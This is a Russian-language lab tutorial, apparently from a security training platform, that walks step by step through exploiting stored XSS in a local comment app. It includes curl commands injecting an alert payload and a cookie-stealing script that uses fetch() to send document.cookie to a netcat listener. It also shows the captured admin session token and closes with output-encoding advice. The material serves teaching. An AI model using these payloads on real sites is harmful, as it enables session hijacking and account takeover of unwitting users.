Хранимый межсайтовый скриптинг (Stored XSS)

КибербезопасностьBeginner
Практиковаться сейчас

Введение

Хранимый межсайтовый скриптинг (Stored XSS) — это крайне опасная веб-уязвимость, возникающая, когда веб-приложение собирает пользовательский ввод, сохраняет его в базе данных (например, в разделе комментариев, сообщениях на форуме или профиле пользователя), а затем вставляет этот ввод на веб-страницу без надлежащей санитарной обработки.

В отличие от отраженного (Reflected) XSS, для которого требуется, чтобы жертва перешла по специально подготовленной ссылке, Stored XSS является персистентным (постоянным). Как только вредоносная полезная нагрузка попадает в базу данных, она автоматически выполняется в браузере любого пользователя, посетившего зараженную страницу. Это делает ее невероятно мощным инструментом для злоумышленников, позволяющим красть сессионные cookie, перенаправлять пользователей или выполнять несанкционированные действия от имени жертвы.

Именно эта персистентность делает Stored XSS особенно опасным. Злоумышленник выполняет внедрение лишь однажды, но само приложение продолжает «воспроизводить» вредоносный код для всех будущих посетителей.

В этой лабораторной работе вы будете взаимодействовать с уязвимым локальным веб-приложением. Вы научитесь определять места хранения пользовательского ввода, внедрять персистентную JavaScript-нагрузку и моделировать сценарий, при котором сессионный cookie администратора крадется в момент просмотра им вашего комментария.

Идентификация хранения ввода (комментарии/профили)

На этом этапе вы будете взаимодействовать с уязвимым веб-приложением, запущенным локально на вашей машине. Приложение содержит простой раздел комментариев, где пользователи могут оставлять сообщения.

Чтобы эксплуатировать уязвимость Stored XSS, сначала нужно определить, где приложение принимает пользовательский ввод и где этот ввод впоследствии отображается. Мы будем использовать инструмент командной строки curl для взаимодействия с веб-сервером.

Жизненный цикл Stored XSS можно описать одним предложением: ввод поступает в приложение, сохраняется, а затем отображается в браузере другого пользователя.

Сначала давайте посмотрим текущее состояние приложения, отправив GET-запрос на главную страницу. Выполните следующую команду в терминале:

curl http://localhost:5000/

В HTML-выводе вы должны увидеть пустой список комментариев:

<h1>Comments</h1><ul></ul>

Теперь давайте отправим обычный комментарий, чтобы увидеть, как приложение обрабатывает и сохраняет наш ввод. Мы будем использовать curl с флагом -X POST для отправки данных на эндпоинт /post. Выполните следующую команду:

curl -X POST -d "comment=Hello World" http://localhost:5000/post

Сервер должен ответить Comment added!.

Чтобы убедиться, что ваш ввод был успешно сохранен в базе данных и теперь отображается на веб-странице, снова запросите главную страницу:

curl http://localhost:5000/

Теперь вы увидите свой комментарий, встроенный непосредственно в структуру HTML:

<h1>Comments</h1><ul><li>Hello World</li></ul>

Поскольку приложение берет наш ввод и помещает его прямо в HTML без какой-либо фильтрации или санитарной обработки, оно с высокой долей вероятности уязвимо для Stored XSS.

Внедрение персистентной полезной нагрузки

Теперь, когда мы подтвердили, что приложение сохраняет и отображает наш ввод, мы попытаемся внедрить персистентную JavaScript-нагрузку.

На этом этапе база данных превращается в механизм доставки атаки. Полезная нагрузка перестает быть просто текстом в хранилище; это будущий скрипт, ожидающий рендеринга.

В реальном сценарии, если злоумышленник внедряет тег <script> в уязвимый раздел комментариев, сервер сохраняет этот тег в своей базе данных. Всякий раз, когда любой пользователь (включая администраторов) посещает страницу комментариев, его браузер загружает HTML, обнаруживает тег <script> и выполняет код злоумышленника.

Давайте внедрим классическую полезную нагрузку для проверки концепции (PoC) XSS, которая вызывает окно оповещения браузера. Выполните следующую команду, чтобы опубликовать вредоносный комментарий:

curl -X POST -d "comment=<script>alert('XSS')</script>" http://localhost:5000/post

После того как сервер подтвердит добавление комментария, еще раз запросите главную страницу, чтобы изучить исходный код HTML:

curl http://localhost:5000/

Внимательно посмотрите на вывод:

<h1>Comments</h1><ul><li>Hello World</li><li><script>alert('XSS')</script></li></ul>

Обратите внимание, что полезная нагрузка <script>alert('XSS')</script> отображается в точности так, как мы ее ввели. Приложение не закодировало угловые скобки (< и >) в безопасные HTML-сущности (такие как &lt; и &gt;).

Если бы реальный пользователь открыл эту страницу в веб-браузере, например Chrome или Firefox, браузер интерпретировал бы внедренный текст не как комментарий, а как исполняемый JavaScript, и на экране немедленно появилось бы окно оповещения с надписью "XSS".

Хотя появление окна оповещения доказывает наличие уязвимости, реальные злоумышленники используют XSS в злонамеренных целях, например, для кражи сессионных cookie. Если злоумышленник крадет сессионный cookie администратора, он может перехватить учетную запись администратора и получить полный контроль над веб-приложением.

Чтобы украсть cookie, злоумышленник внедряет JavaScript, который считывает document.cookie жертвы и отправляет его на сервер, контролируемый злоумышленником.

Сначала нам нужно настроить «слушатель» для перехвата украденного cookie. Мы будем использовать утилиту nc (netcat) для прослушивания порта 8000 и сохранения всех входящих HTTP-запросов в файл с именем stolen_cookie.txt. Символ & в конце запускает эту команду в фоновом режиме, чтобы вы могли продолжать использовать терминал.

nc -l -p 8000 > stolen_cookie.txt &

Затем мы внедрим нашу вредоносную полезную нагрузку в уязвимое приложение. Эта нагрузка использует JavaScript API fetch() для скрытной отправки HTTP-запроса на наш слушатель netcat, добавляя cookie жертвы к URL.

Выполните следующую команду, чтобы внедрить полезную нагрузку для кражи cookie:

curl -X POST -d "comment=<script>fetch('http://localhost:8000/?cookie=' + document.cookie)</script>" http://localhost:5000/post

Теперь полезная нагрузка постоянно хранится в базе данных. Она ожидает, пока жертва посетит страницу.

Симуляция взаимодействия с жертвой

В реальной атаке злоумышленник просто ждет, пока пользователи посетят зараженный сайт. Поскольку мы работаем в терминальной среде без графического веб-браузера, мы предоставили Python-скрипт, который имитирует посещение страницы администратором.

Этот скрипт будет вести себя как веб-браузер: он прочитает комментарии из базы данных, обнаружит внедренный вами тег <script> и «выполнит» его, отправив HTTP-запрос на ваш слушатель netcat с передачей симулированного cookie администратора.

Запустите скрипт симуляции с помощью следующей команды:

python3 simulate_victim.py

Вы должны увидеть вывод, указывающий на то, что симулированный администратор посетил страницу и внедренный скрипт был выполнен:

Admin victim is visiting the page...
[Browser Simulator] Executing injected script...

Когда симулированный браузер выполнил вашу полезную нагрузку, он отправил HTTP-запрос на слушатель netcat, который вы запустили на предыдущем шаге. Netcat перехватил этот запрос и сохранил его в stolen_cookie.txt.

Давайте проверим содержимое файла, чтобы узнать, удалось ли нам успешно захватить сессионный cookie администратора:

cat stolen_cookie.txt

Вы должны увидеть необработанный HTTP GET-запрос, перехваченный netcat, который включает украденный cookie в пути URL:

GET /?cookie=admin_session=super_secret_admin_token_999 HTTP/1.1
Host: localhost:8000
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

Поздравляем! Вы успешно использовали уязвимость Stored XSS для перехвата сессии симулированного пользователя. С этим токеном admin_session злоумышленник мог бы изменить свои собственные cookie в браузере и выдать себя за администратора в веб-приложении.

Резюме

В этой лабораторной работе вы успешно изучили и использовали уязвимость хранимого межсайтового скриптинга (Stored XSS). Вы узнали, как выявлять поля ввода, которые постоянно сохраняют данные и отображают их без надлежащей HTML-санитаризации. Затем вы внедрили базовые JavaScript-нагрузки, чтобы подтвердить наличие уязвимости. После этого вы создали вредоносную полезную нагрузку, предназначенную для кражи конфиденциальных данных, таких как сессионные cookie, и их отправки на внешний слушатель. Наконец, вы осознали серьезность последствий Stored XSS, смоделировав сценарий, в котором сессия администратора была скомпрометирована простым просмотром зараженной страницы.

Stored XSS является критической уязвимостью безопасности, поскольку она не требует социальной инженерии после того, как полезная нагрузка внедрена; само приложение доставляет атаку своим пользователям. Чтобы предотвратить подобные уязвимости, разработчики должны всегда внедрять строгую проверку входных данных и контекстно-зависимое кодирование вывода (например, преобразование < в &lt;) перед отображением данных, предоставленных пользователем, в веб-браузере.